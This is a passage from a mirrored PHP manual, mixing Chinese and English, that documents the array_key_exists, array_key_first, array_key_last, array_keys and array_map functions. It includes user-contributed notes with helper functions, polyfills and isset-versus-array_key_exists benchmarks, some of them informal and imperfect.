echo '"8" is ' . (array_key_exists("8", $array) ? '' : 'not ') . "a key.\n";
?>

Output:

array (
  '' => 1,
  0 => 2,
  1 => 3,
  4 => 4,
  '08' => 5,
  8 => 6,
)
null is a key.
false is not a key.
true is not a key.
4.6 is not a key.
"08" is a key.
"8" is a key.

Well, and you get this warning three times (on the bools and the float, but not on the null):

Warning:  array_key_exists() [function.array-key-exists]: The first argument should be either a string or an integer in /var/www/php/test.php on line 6
John 18-Jan-2009 09:27
Here is a little function for case sensitivity to elaborate on what was said by MarkL from ##php (Freenode) and mmanning at mdanderson dot org from this page:

<?php
// Case sensitive version of array_key_exists() using preg_match()
function array_ikey_exists($key,$arr)
{
    if(preg_match("/".$key."/i", join(",", array_keys($arr))))
        return true;
    else
        return false;
}
?>

Not that anyone else couldn't have written this, but a concept like this strengthens reusability.  :)

Also, I've been running into issues with escaping for Regex, so I decided to give something like this a shot:

<?php
function array_ikey_exists($key,$arr)
{
    $e = 0; //$key = addslashes($key);
    if(is_array($arr) && $arr !==array())
    {
        foreach($arr as $k => $v)
        {
            if(strtolower($k) == strtolower($key))
                $e++;
        }
        if($e>0)
            return true;
        else
            return false;
    }
    else
        return false;
}
?>

You could addslashes() to escape; it's just another approach.
Karim Ratib 19-Aug-2008 05:09
Here's a function to return a reference to the first array element that has a given key. The code works for multidimensional arrays:

<?php
function &array_find_element_by_key($key, &$form) {
  if (array_key_exists($key, $form)) {
    $ret =& $form[$key];
    return $ret;
  }
  foreach ($form as $k => $v) {
    if (is_array($v)) {
      $ret =& array_find_element_by_key($key, $form[$k]);
      if ($ret) {
        return $ret;
      }
    }
  }
  return FALSE;
}
?>
jacobsingh at gmail dot com 17-Jun-2008 03:54
I saw some examples above for array_keys_exist() or functions to see if multiple keys exist in a given array and return false if any of them don't.

Here is a simpler way to do this:

<?php

function array_keys_exist($keys,$array) {
    if (count (array_intersect($keys,array_keys($array))) == count($keys)) {
        return true;
    }
}

$array = array ('filename' => 'myfile', 'filesize' => 1234, 'filepath' => '/tmp/myfile');
$keys = array('filename','filesize','filepath');

echo array_keys_exist($keys,$array);
//returns true

$keys[] = "somethingelse";

echo array_keys_exist($keys,$array);
//Returns false

?>
mankyd at gmail dot com 28-May-2008 10:29
You'll notice several notes on this page stating that isset() is significantly faster than array_key_exists(). This may be true except for one small hitch. isset() will return false for arrays keys that have there value set to NULL, which is therefore not entirely accurate.

Example:

<?php
$foo = array();
$foo['bar'] = NULL;

var_dump(isset($foo['bar']));
var_dump(array_key_exists('bar', $foo));
?>

will output:
bool(false)
bool(true)

Be aware of this!
tmont 29-Apr-2008 02:54
The argument of array_key_exists() vs. isset() came up in the workplace today, so I conducted a little benchmark to see which is faster:

<?php
    // one-dimensional arrays
    $array = array_fill(0,50000,'tommy is the best!');
    $arraykeyexists_result = array();

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (array_key_exists($i,$array)) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $arrtime = round(microtime(true)-$start,3);

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (isset($array[$i])) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $istime = round(microtime(true)-$start,3);

    $totaltime = $arrtime+$istime;
    $arrpercentage = round(100*$arrtime/$totaltime,3);
    $ispercentage = round(100*$istime/$totaltime,3);

    echo "array_key_exists(): $arrtime [$arrpercentage%] seconds\n";
    echo "isset():            $istime [$ispercentage%] seconds\n";

?>

On Windows, the output is similar to

array_key_exists(): 0.504 [82.895%] seconds
isset():            0.104 [17.105%] seconds

On Mac or Linux, isset() is faster but only by a factor of approximately 1.5.
wolf550e at gmail dot com 27-Sep-2007 12:51
array_key_exists(), at least in 5.2.4, passes the array by value. I conclude this from seeing performance worsen as the array to search got bigger. isset() doesn't have this problem.
diogoshaw at gmail dot com 15-Sep-2007 11:58
this function very good to use if you need to verify many variables:

<?php
function array_key_exists_r($keys, $search_r) {
    $keys_r = split('\|',$keys);
    foreach($keys_r as $key)
    if(!array_key_exists($key,$search_r))
    return false;
    return true;
}
?>

e.g.

<?php
if(array_key_exists_r('login|user|passwd',$_GET)) {
// login
} else {
// other
}
?>

works for me, enjoy.
dg shaw.
Lucknut dot xbl at googlemail dot com 18-Jul-2007 10:44
I found this function very good to use if your want your urls like index.php?login or index.php?register
e.g.
<?php
if( array_key_exists( 'home',$_GET ) ) {
    echo "Home - its where the heart is.";
} else if( array_key_exists( 'login',$_GET ) ) {
    echo "Login code here!";
} else if( array_key_exists( 'register',$_GET ) ) {
    echo "Register code here!";
} else {
    echo "Home - its where the heart is.";
}
?>
david at madole dot net 05-Jul-2007 08:11
Regarding performance differences between isset() and array_key_exists(), the differences may be there, but the function are not always interchangable.

Note that when $a[1] = null then isset($a[1]) == false but array_key_exists(1, $a) == true
inker2576 at yahoo dot com 06-Mar-2007 08:01
Further research on this has turned up that the performance problems are a known, confirmed bug in PHP 5.1.x, and have been fixed in PHP builds after September 2006.  You can find the bug report here:  http://bugs.php.net/bug.php?id=38812

However, just because it's a fixed bug doesn't really change the conclusion.  If you're writing a script and there's any chance it could be used on a PHP 5.1.x server, you should still avoid this function and use isset() or some other kind of test if you want it to run efficiently.
Matt 01-Dec-2006 01:50
mikael dot knutsson at gmail dot com:
I don't think it does, at least in PHP5?

For example, this outputs bool(false):

$ar = array ( 'outter' => array ( 'inner' => 1 ) );
var_dump(array_key_exists('inner', $ar));

So it doesn't actually check the inner array for the key 'inner'.


Gets the first key of an array

  • ? array_key_exists
  • array_key_last ?
  • PHP Manual
  • 数组 函数
  • Gets the first key of an array

array_key_first

(PHP 7 >= 7.3.0)

array_key_first — Gets the first key of an array

说明

array_key_first ( array $array ) : mixed

Get the first key of the given array without affecting the internal array pointer.

参数

array

An array.

返回值

Returns the first key of array if the array is not empty; NULL otherwise.

范例

Example #1 Basic array_key_first() Usage

<?php
$array = ['a' => 1, 'b' => 2, 'c' => 3];

$firstKey = array_key_first($array);

var_dump($firstKey);
?>

以上例程会输出：

string(1) "a"

注释

Tip

There are several ways to provide this functionality for versions prior to PHP 7.3.0. It is possible to use array_keys(), but that may be rather inefficient. It is also possible to use reset() and key(), but that may change the internal array pointer. An efficient solution, which does not change the internal array pointer, written as polyfill:

<?php
if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach($arr as $key => $unused) {
            return $key;
        }
        return NULL;
    }
}
?>

参见

  • array_key_last() - Gets the last key of an array
  • reset() - 将数组的内部指针指向第一个单元

User Contributed Notes

There are no user contributed notes for this page.


Gets the last key of an array

  • ? array_key_first
  • array_keys ?
  • PHP Manual
  • 数组 函数
  • Gets the last key of an array

array_key_last

(PHP 7 >= 7.3.0)

array_key_last — Gets the last key of an array

说明

array_key_last ( array $array ) : mixed

Get the last key of the given array without affecting the internal array pointer.

参数

array

An array.

返回值

Returns the last key of array if the array is not empty; NULL otherwise.

参见

  • array_key_first() - Gets the first key of an array
  • end() - 将数组的内部指针指向最后一个单元

User Contributed Notes

contact at duzun dot me 03-Jul-2019 07:17
Try to beat this polyfill in terms of performance!

<?php
if( !function_exists('array_key_last') ) {
    function array_key_last(array $array) {
        if( !empty($array) ) return key(array_slice($array, -1, 1, true));
    }
}

// Bonus
if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach($arr as $key => $unused) return $key;
    }
}
?>
ccb_bc at hotmail dot com 28-Jun-2019 04:15
<?php
    // PHP >= 7
    function _array_key_last(array $array){
        return (!empty($array)) ? array_keys($array)[count($array)-1] : null;
    }
    var_dump(_array_key_last(['PHP', 'Javascript', 'Python'])); // 2
 ?>
github / k-gun 18-Jun-2019 04:41
For those who loves tested candies;

<?php
function array_key_last(array $array) {
    // 100000 iters: ~0.068 secs
    return key(array_slice($array, -1));
    // 100000 iters: ~0.070 secs
    return key(array_reverse($array));
    // 100000 iters: ~0.088 secs
    return array_keys($array)[count($array) - 1] ?? null;
}
?>
rotexdegba007-github at yahoo dot ca 16-Jun-2019 04:54
This polyfill works for PHP 5.6+.
It is a slight modification of "wes at nospam dot example dot org"'s example:

<?php

    if( !function_exists('array_key_first') ) {

        function array_key_first(array $array) {

            if( $array === [] ) { return NULL; }

            foreach($array as $key => $_) { return $key; }
        }
    }

    if( !function_exists('array_key_last') ) {

        function array_key_last(array $array) {

            if( $array === [] ) { return null; }

            // the last 2 args to array_slice are crucial
            return array_key_first(array_slice($array, -1, null, true));
        }
    }
wes at nospam dot example dot org 09-May-2019 09:37
Correct polyfill (one that doesn't make copies of arrays, and that doesn't make use of the IAP) is:

<?php

if(!function_exists('array_key_first')){
    function array_key_first(array $array){
        if($array === []){
            return NULL;
        }
        foreach($array as $key => $_) return $key;
    }
}

if(!function_exists('array_key_last')){
    function array_key_last(array $array){
        if($array === []){
            return NULL;
        }
        return array_key_first(array_slice($array, -1));
    }
}

?>
@manzoorwanijk 27-Oct-2018 09:41
For PHP < 7.3.0 :

Will work for any type of array

<?php
if ( ! function_exists( 'array_key_last' ) ) {
    /**
     * Polyfill for array_key_last() function added in PHP 7.3.
     *
     * Get the last key of the given array without affecting
     * the internal array pointer.
     *
     * @param array $array An array
     *
     * @return mixed The last key of array if the array is not empty; NULL otherwise.
     */
    function array_key_last( $array ) {
        $key = NULL;

        if ( is_array( $array ) ) {

            end( $array );
            $key = key( $array );
        }

        return $key;
    }
}
?>
Anyvie at devlibre dot fr 08-Aug-2018 10:21
For PHP <= 7.3.0 :

if (! function_exists("array_key_last")) {
    function array_key_last($array) {
        if (!is_array($array) || empty($array)) {
            return NULL;
        }

        return array_keys($array)[count($array)-1];
    }
}


返回数组中部分的或所有的键名

  • ? array_key_last
  • array_map ?
  • PHP Manual
  • 数组 函数
  • 返回数组中部分的或所有的键名

array_keys

(PHP 4, PHP 5, PHP 7)

array_keys — 返回数组中部分的或所有的键名

说明

array_keys ( array $array [, mixed $search_value = null [, bool $strict = false ]] ) : array

array_keys() 返回 input 数组中的数字或者字符串的键名。

如果指定了可选参数 search_value，则只返回该值的键名。否则 input 数组中的所有键名都会被返回。

参数

input

一个数组，包含了要返回的键。

search_value

如果指定了这个参数，只有包含这些值的键才会返回。

strict

判断在搜索的时候是否该使用严格的比较（===）。

返回值

返回 input 里的所有键。

范例

Example #1 array_keys() 例子

<?php
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array("color" => array("blue", "red", "green"),
               "size"  => array("small", "medium", "large"));
print_r(array_keys($array));
?>

以上例程会输出：

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

参见

  • array_values() - 返回数组中所有的值
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • array_search() - 在数组中搜索给定的值，如果成功则返回首个相应的键名

User Contributed Notes

enrique dot balleste at gmail dot com 01-Mar-2017 09:33
A nice little trick to get all of the keys who have some type of value:

$keys = array_keys($array, !null);
ayyappan dot ashok at gmail dot com 19-Apr-2016 06:18
Post By  Sven (59892) has to be changed

$array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

$rarray = array_keys($array);

print array_shift($rarray); // first

print array_pop($rarray); //thrid

print array_shift($rarray); //second

print array_pop($rarray); // no result

Code below is not valid from 5.4.0

print array_shift(array_keys($array)); Throws Strict Standards Error

Sven code works fine till 5.3.29. From 5.4.0  the standards have been changed and results too differ.

Note :
Strict Standards :  Only variables should be passed by reference

Please have look of the code in different versions

http://sandbox.onlinephpfunctions.com/code/24b5fddf14b635f1e37db69a7edffc2cbbed55e1

http://sandbox.onlinephpfunctions.com/code/f695e8f81e906b4f062b66cf9b3b83b6b620464c
Robert C. 12-Feb-2016 02:22
Keys from multi dimensional array to simple array

Want to traverse an multi dimensional array and get the keys back in a single dimensional array? This will do the trick:

<?php

    public function array_walk_keys($array, $parentKey = null, &$flattened_array = null)
    {
        if(!is_array($array))
            return $array;

        foreach( $array as $key => $val ) {
            $flattenedKeysArray[] = $key;

            if(is_array($val))
                array_walk_keys($val, $key, $flattenedKeysArray);
        }

        return $flattenedKeysArray;
    }
Paul Hirsch 30-Mar-2015 04:31
It is worth noting that array_keys does not maintain the data-type of the keys when mapping them to a new array.  This created an issue with in_array and doing  a lookup on characters from a string.  NOTE:  my lookup $array has a full map of numbers and characters - upper and lower - to do an simple faux encryption with.

<?php
$array = array(
     'e' => 'ieio'
    ,'1' => 'one'
    ,'2' => 'two'
    ,'0' => 'zero'
);
var_dump($array);
$keys = array_keys($array);
var_dump($keys);

$string = '1e0';
for ($i = 0; $i < strlen($string); $i++) {
    if (in_array($string[$i],$keys,'strict')) echo 'dude ';
    else echo 'sweet ';
}
?>

Outputs:
array (size=4)
  'e' => string 'ieio' (length=4)
  1 => string 'one' (length=3)
  2 => string 'two' (length=3)
  0 => string 'zero' (length=4)

array (size=4)
  0 => string 'e' (length=1)
  1 => int 1
  2 => int 2
  3 => int 0

sweet dude sweet

----
expected to see:
dude dude dude
Ian (maxianos at hotmail dot com) 09-Mar-2014 03:41
There's a lot of multidimensional array_keys function out there, but each of them only merges all the keys in one flat array.

Here's a way to find all the keys from a multidimensional  array while keeping the array structure. An optional MAXIMUM DEPTH parameter can be set for testing purpose in case of very large arrays.

NOTE: If the sub element isn't an array, it will be ignore.

<?php
function array_keys_recursive($myArray, $MAXDEPTH = INF, $depth = 0, $arrayKeys = array()){
       if($depth < $MAXDEPTH){
            $depth++;
            $keys = array_keys($myArray);
            foreach($keys as $key){
                if(is_array($myArray[$key])){
                    $arrayKeys[$key] = array_keys_recursive($myArray[$key], $MAXDEPTH, $depth);
                }
            }
        }

        return $arrayKeys;
    }
?>

EXAMPLE:
input:
array(
    'Player' => array(
        'id' => '4',
        'state' => 'active',
    ),
    'LevelSimulation' => array(
        'id' => '1',
        'simulation_id' => '1',
        'level_id' => '1',
        'Level' => array(
            'id' => '1',
            'city_id' => '8',
            'City' => array(
                'id' => '8',
                'class' => 'home',
            )
        )
    ),
    'User' => array(
        'id' => '48',
        'gender' => 'M',
        'group' => 'user',
        'username' => 'Hello'
    )
)

output:
array(
    'Player' => array(),
    'LevelSimulation' => array(
        'Level' => array(
            'City' => array()
        )
    ),
    'User' => array()
)
zammit dot andrew at gmail dot com 16-Nov-2013 04:06
If an array is empty (but defined), or the $search_value is not found in the array, an empty array is returned (not false, null, or -1). This may seem intuitive, especially given the documentation says an array is returned, but I needed to sanity test to be sure:

<?php

$emptyArray = array();
var_dump(array_keys($emptyArray,99)); // array (size=0) \ empty

$filledArray = array(11,22,33,42);
var_dump(array_keys($filledArray,99)); // array (size=0) \ empty

?>
phpnet at holodyn dot com 24-Oct-2013 05:17
Since 5.4 STRICT standards dictate that you cannot wrap array_keys in a function like array_shift that attempts to reference the array.

Invalid:
echo array_shift( array_keys( array('a' => 'apple') ) );

Valid:
$keys = array_keys( array('a' => 'apple') );
echo array_shift( $keys );

But Wait! Since PHP (currently) allows you to break a reference by wrapping a variable in parentheses, you can currently use:

echo array_shift( ( array_keys( array('a' => 'apple') ) ) );

However I would expect in time the PHP team will modify the rules of parentheses.
anthony at berglas dot org 03-Apr-2012 05:32
It should be noted that the inverse function to keys (which converts keys to values) is array_count_values (which converts values to keys).  This is needed to use things like array_intersect_key.  Could go in several places.  Took me a while to figure it out.
Na&#39;ven Enigma 10-Mar-2012 07:41
I was trying to figure out how to normalize an array with numerical keys.  Since I was doing for() for a lot of things, but only replacing it if the conditions were right, I wound up with off ball arrays I couldn't access.  That being said, I looked for a method of normalizing the array and couldn't find one, so I built my own.  I'm not sure how to go about making it recursive, but I didn't need that feature for my own, so I just went without recursion.

//This will take array([5] => "test1", [4] => "test2", [9] => "test3") into array([0] => "test1", [1] => "test2", [2] => "test3") so you can access it easier.
        function normalize_array($array){
          $newarray = array();
          $array_keys = array_keys($array);
          $i=0;
          foreach($array_keys as $key){
           $newarray[$i] = $array[$key];

          $i++;
          }
          return $newarray;
        }
qeremy [atta] gmail [dotta] com 05-Mar-2012 05:50
Simple ways to prefixing arrays;

<?php
function array_keys_prefix($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[$pref.$key] = $val;
    }
    return $rarr;
}

function array_keys_prefix_multi($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[] = array_keys_prefix($val, $pref);
    }
    return $rarr;
}

// $a = array("foo" => "FOO", "bar" => "BAR", "baz" => "BAZ"); // or
$a = array("foo" => "FOO", "bar" => "BAR", "baz" => array(1,2,3));
print_r(array_keys_prefix($a, "my_"));

// db fetch...
$products = array(
    array("id" => 1, "name" => "Foo"),
    array("id" => 2, "name" => "Bar")
);
print_r(array_keys_prefix_multi($products, "product_"));
?>

Array
(
    [my_foo] => FOO
    [my_bar] => BAR
    [my_baz] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)
Array
(
    [0] => Array
        (
            [product_id] => 1
            [product_name] => Foo
        )

    [1] => Array
        (
            [product_id] => 2
            [product_name] => Bar
        )

)
izzecold at live dot de 10-Jan-2012 09:21
<?php

/* A Function created by myself for checking multiple array keys
For Example u got an Array like $_SESSION and u wanna know if the keys 'user','pass','email' and 'type' exists.

*/

function mKeyChecker($arr,$keys=array()) {
    if(count($keys) > 1) {
        $valid_keys = 0;
        foreach($keys as $key) {
            if(array_key_exists($key,$arr)) $valid_keys++;
        }
        if($valid_keys == count($keys)) {
            return true;
        } else {
            return false;
        }
    } else if(count($keys) == 1) {
        if(array_key_exists($key[0],$arr)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

// Execution Example

if(mKeyChecker($_SESSION,array('id','user','email','type'))) {
    echo "is!";
} else {
    echo "not!";
}

?>
craig1231 at hotmail dot com 22-Dec-2011 03:41
A needed a function to find the keys which contain part of a string, not equalling a string...

<?php
function array_keys_contain($input, $search_value, $strict = false)
    {
        $tmpkeys = array();

        $keys = array_keys($input);

        foreach ($keys as $k)
        {
            if ($strict && strpos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
            elseif (!$strict && stripos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
        }

        return $tmpkeys;
    }
?>
el dot quick at gmail dot com 23-Sep-2011 08:23
Sorry for my english...

I wrote a function to get keys of arrays recursivelly...

<?php
    function recursive_keys($input, $search_value = null){

        $output = ($search_value !== null ? array_keys($input, $search_value) : array_keys($input)) ;
        foreach($input as $sub){
            if(is_array($sub)){
                $output = ($search_value !== null ? array_merge($output, recursive_keys($sub, $search_value)) : array_merge($output, recursive_keys($sub))) ;
            }
        }
        return $output ;
    }
?>

I hope it will be usefull

Regards
pat dot leblanc at gmail dot com 29-Aug-2011 02:05
It's worth noting that if you have keys that are long integer, such as '329462291595', they will be considered as such on a 64bits system, but will be of type string on a 32 bits system.

for example:
<?php

$importantKeys = array('329462291595' =>null, 'ZZ291595' => null);

foreach(array_keys($importantKeys) as $key){
    echo gettype($key)."\n";
}

?>

will return on a 64 bits system:
<?php
    integer
    string
?>

but on a 32 bits system:
<?php
    string
    string
?>

I hope it will save someone the huge headache I had :)
ferrerna at gmail dot com 23-Jan-2009 09:14
Here's a function I needed to collapse an array, in my case from a database query.  It takes an array that contains key-value pairs and returns an array where they are actually the key and value.

<?php

function array_collapse($arr, $x, $y) {
    $carr = array();
    while ($el = current($arr)) {
        $carr[ $el[$x] ] = $el[$y];
        next($arr);
    }
    return $carr;
}

?>

Example usage (pseudo-database code):

<?php

$query = db_query('SELECT name, value FROM properties');

$result = db_returnAll($query);

/* This will return an array like so:

[
   ['name' -> 'color', 'value' -> 'blue'],
   ['name' -> 'style', 'value' -> 'wide-format'],
   ['name' -> 'weight', 'value' -> 3.6],
   ['name' -> 'name', 'value' -> 'Waerdthing']
]

*/

$propArr = array_collapse($result, 'name', 'value');

/* Now this array looks like:

[
   ['color' -> 'blue'],
   ['style' -> 'wide-format'],
   ['weight' -> 3.6],
   ['name' -> 'Waerdthing'],

*/

?>

I found this handy for using with json_encode and am using it for my project http://squidby.com
nodarinodo at mail dot ru 03-Dec-2008 11:35
<?php
    //It's a way to get keys from values )
    $es = array("is My FullName"=>"nodar chkuaselidze (nodarinodo)", "You Are" => "I don't know", "Is My Friend" => "ruxadze");
    foreach(array_values($es) as $ess){
        echo $ess." =>";

    for($i =0; $i < count(array_keys($es, $ess)); $i++){
            echo reset(array_keys($es, $ess))."<BR>";
        } }
?>
neil at 11 out of 10 24-Jul-2008 12:10
<?php

/*
 * This function will return the keys of elements in the
 * haystack where the value is found in array needle
 */

function array_value_intersect_keys( $array_haystack, $array_needle ){
    $intersected = array_intersect( $array_haystack, $array_needle );
    return array_keys( $intersected );
}

// usage

$array_haystack = array( 1 => 2, 2 => 5, 'red' => 8, 9 => 14 );

$array_needle = array( 2, 8 );

$array_keys_of_intersecting_values = array_value_intersect_keys( $array_haystack, $array_needle );

print_r( $array_keys_of_intersecting_values );
?>

returns
Array
(
    [0] => 1
    [1] => red
)
Hayley Watson 04-Oct-2007 06:43
An alternative to RQuadling at GMail dot com's array_remove() function:

<?php
function array_remove(array $array, $value, $strict=false)
{
    return array_diff_key($array, array_flip(array_keys($array, $value, $strict)));
}
?>
creator at mindcreations dot com 20-Mar-2007 02:12
This function will extract keys from a multidimensional array

<?php
function multiarray_keys($ar) {

    foreach($ar as $k => $v) {
        $keys[] = $k;
        if (is_array($ar[$k]))
            $keys = array_merge($keys, multiarray_keys($ar[$k]));
    }
    return $keys;
}
?>

Example code:

<?php
$array = array("color" => array("1stcolor" => "blue", "2ndcolor" => "red", "3rdcolor" => "green"),
               "size"  => array("small", "medium", "large"));

echo "<pre>";
print_r($array);
echo "</pre>";

echo "<pre>";
print_r(multiarray_keys($array));
echo "</pre>";
?>

Example output:

Array
(
    [color] => Array
        (
            [1stcolor] => blue
            [2ndcolor] => red
            [3rdcolor] => green
        )

    [size] => Array
        (
            [0] => small
            [1] => medium
            [2] => large
        )

)

Array
(
    [0] => color
    [1] => 1stcolor
    [2] => 2ndcolor
    [3] => 3rdcolor
    [4] => size
    [5] => 0
    [6] => 1
    [7] => 2
)
jochem 17-Feb-2006 04:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

<?php
$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");
?>

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
    [0] => 0
    [1] => 1
    [] => 2
    [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com) 19-Dec-2005 06:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it 09-Dec-2005 01:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
ru dot dy at gmx dot net 14-Aug-2005 09:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
    if ($stack = func_get_args()) {
      $input = array_shift($stack);
      foreach ($stack as $key) {
        unset($input[$key]);
      }
      return $input;
    }
    return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
    [a] => fun
    [b] => 3.14
    [sub] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [d] => what
    [e] => xample
    [5] => x
)
Array
(
    [a] => fun
    [e] => xample
)

Hope this helps someone.
webmaster [at] baz-x [dot] at 29-Jul-2005 03:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
    foreach ( $array as $key => $value )
    {
        if ( $extract_type == 1 && is_string($key) )
        {
            // delete string keys
            unset($array[$key]);
        }
        elseif ( $extract_type == 2 && is_int($key) )
        {
            // delete integer keys
            unset($array[$key]);
        }
    }

    return $array;
}

?>

You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
sip at email dot ee 22-Aug-2003 05:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br 04-Feb-2003 04:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you don?t have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

      foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
              " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
              show_keys ($ar[$k]);
         }

         echo "</td>";

      }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
glennh at webadept dot net 13-Nov-2002 04:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
        echo $key." = ".$value." ";
}
?>


为数组的每个元素应用回调函数

  • ? array_keys
  • array_merge_recursive ?
  • PHP Manual
  • 数组 函数
  • 为数组的每个元素应用回调函数

array_map

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数

说明

array_map ( callable $callback , array $array1 [, array $... ] ) : array

array_map()：返回数组，是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量，两者必须一样。

参数

callback

回调函数，应用到每个数组里的每个元素。

array1

数组，遍历运行 callback 函数。

...

数组列表，每个都遍历运行 callback 函数。

返回值

返回数组，包含 callback 函数处理之后 array1 的所有元素。

范例

Example #1 array_map() 例子

<?php
function cube($n)
{
    return($n * $n * $n);
}

$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>

这使得 $b 成为：

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

Example #2 array_map() 使用匿名函数 (PHP 5.3.0 起)

<?php
$func = function($value) {
    return $value * 2;
};

print_r(array_map($func, range(1, 5)));
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)

Example #3 array_map()：使用更多的数组

<?php
function show_Spanish($n, $m)
{
    return("The number $n is called $m in Spanish");
}

function map_Spanish($n, $m)
{
    return(array($n => $m));
}

$a = array(1, 2, 3, 4, 5);
$b = array("uno", "dos", "tres", "cuatro", "cinco");

$c = array_map("show_Spanish", $a, $b);
print_r($c);

$d = array_map("map_Spanish", $a , $b);
print_r($d);
?>

以上例程会输出：

// printout of $c
Array
(
    [0] => The number 1 is called uno in Spanish
    [1] => The number 2 is called dos in Spanish
    [2] => The number 3 is called tres in Spanish
    [3] => The number 4 is called cuatro in Spanish
    [4] => The number 5 is called cinco in Spanish
)

// printout of $d
Array
